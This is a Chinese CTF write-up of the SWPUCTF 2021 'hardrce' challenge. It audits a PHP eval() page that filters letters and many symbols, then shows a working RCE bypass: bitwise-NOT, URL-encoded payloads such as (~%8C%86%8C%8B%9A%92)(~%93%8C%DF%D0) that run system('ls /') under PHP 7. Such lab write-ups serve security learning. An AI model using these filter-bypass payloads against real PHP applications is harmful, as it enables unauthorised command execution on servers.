[SWPUCTF 2021 新生赛]hardrce

[SWPUCTF 2021 新生赛]hardrce wp

参考博客:https://www.cnblogs.com/bkofyZ/p/17644820.html

代码审计

题目的代码如下:

 ','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

其中设置了一个黑名单 $blacklist 过滤了许多字符;

此外 preg_match('/[a-zA-Z]/is',$wllm) 过滤了所有大小写字母。

无字母 RCE

首先推荐一篇博客:老生常谈的无字母数字 Webshell 总结 。

无字母数字绕过,就是把非字母数字的字符经过各种转换,变为数字和字母。

由于黑名单中 ’ $ ’ , ’ ^ ‘,’ ` ’ ,’ " '等等都被过滤掉了,我觉得能用的只有取反了(可能还有其他的我没想到)。

取反绕过

构造一个 system('ls /') 要怎么做呢,先输出其取反后的字符串(要用 URL 编码),再取反。

看了好多博客,都是说对函数名和参数值分别取反再拼接,比如:


# 先对 system 取反,再编码
echo urlencode(~"system");
# 结果:%8C%86%8C%8B%9A%92

# 换行
print("\r\n");

# 再对 ls / 取反,再编码
echo urlencode(~"ls /");
# 结果:%93%8C%DF%D0
?>

最后做一个拼接:

(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

那为什么取反之后就不会被过滤了呢,这是因为取反后基本上都是不可见字符(总之就是不在黑名单中啦)。

踩坑

但是令我很疑惑的是,为什么不能直接对整体取反呢,比如像下面那样:


得到的 payload 为:

(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);

我试过了,不行,但我不理解,直到看到了这篇博客:

web安全-PHP-url编码取反绕过正则-思考

我才理解了一点。

大致意思是,eval 函数在执行的时候,只有遇到 (func_name)() 这样形式的参数,才会把它当成函数执行,如果传入:

(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);

这样的,eval 识别不出它是一个函数,因此仅仅执行了取反操作。

另外还有一点我不理解,上面传入的 payload 在取反之后应该是这样子的才对:

eval("(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);")
# eval 执行取反操作后
eval("('system')('ls /');")

('system')('ls /') 为什么能当成 system('ls /') 来执行呢?

这还要归结于 PHP7 的一个特性,PHP 7 中支持这种调用方法,即用 (func_name)() 这种形式来调用函数。

实践是检验真理的唯一标准,让我们把 PHP 版本调成 7.x.x ,并写好以下代码:


访问此页面:

[SWPUCTF 2021 新生赛]hardrce_第1张图片

可以看到输出版本号为 7.3.4 ,并成功弹出计算器。

将 PHP 版本改为 5.x.x,再次访问:

[SWPUCTF 2021 新生赛]hardrce_第2张图片

报错。

事实上,此特性在 PHP7 中支持,而 PHP5 不支持。

如此看来,这种绕过方式还是有条件的。

你可能感兴趣的:(ctf,php,web安全,网络安全)